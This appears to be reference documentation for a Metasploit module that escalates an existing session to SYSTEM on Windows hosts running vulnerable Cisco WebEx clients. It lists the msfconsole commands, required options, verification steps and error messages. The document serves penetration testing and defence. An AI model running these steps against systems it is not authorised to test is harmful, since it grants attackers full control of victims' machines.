Module Ranking and Traits
Module Ranking:
- good: The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc). More information about ranking can be found here.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions
command.
msf > use exploit/windows/local/webexec
msf exploit(webexec) > show targets
... a list of targets ...
msf exploit(webexec) > set TARGET target-id
msf exploit(webexec) > show options
... show and set options ...
msf exploit(webexec) > set SESSION session-id
msf exploit(webexec) > exploit
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Description
This module gets an elevated session with System privileges by exploiting a remote code execution vulnerability found in Cisco's WebEx client software for versions below v33.6.0.655.
Vulnerable Application
Cisco WebEx v33.3.8.7 and below
Verification Steps
- Install the application
- Start msfconsole
- Get a session
- Do:
use exploit/windows/local/webexec
- Do:
set SESSION <session>
- Do:
run
- You should get an elevated session.

Error Messages
This module may fail with the following error messages:
- Invalid payload architecture
- Service startup is Disabled, so will be unable to exploit unless account has correct permissions...
- Service startup is Manual, so will be unable to exploit unless account has correct permissions...
- No permissions for <PATH>
- Error while using get_imperstoken: <E>
- Unable to retrieve token.
- Current user is already SYSTEM, aborting.
- The service doesn't exist.
- UAC is enabled, may get false negatives on writable folders.
- Unable to start service, handler running waiting for a reboot...
- Unable to start service, use exploit -j to run as a background job and wait for a reboot...
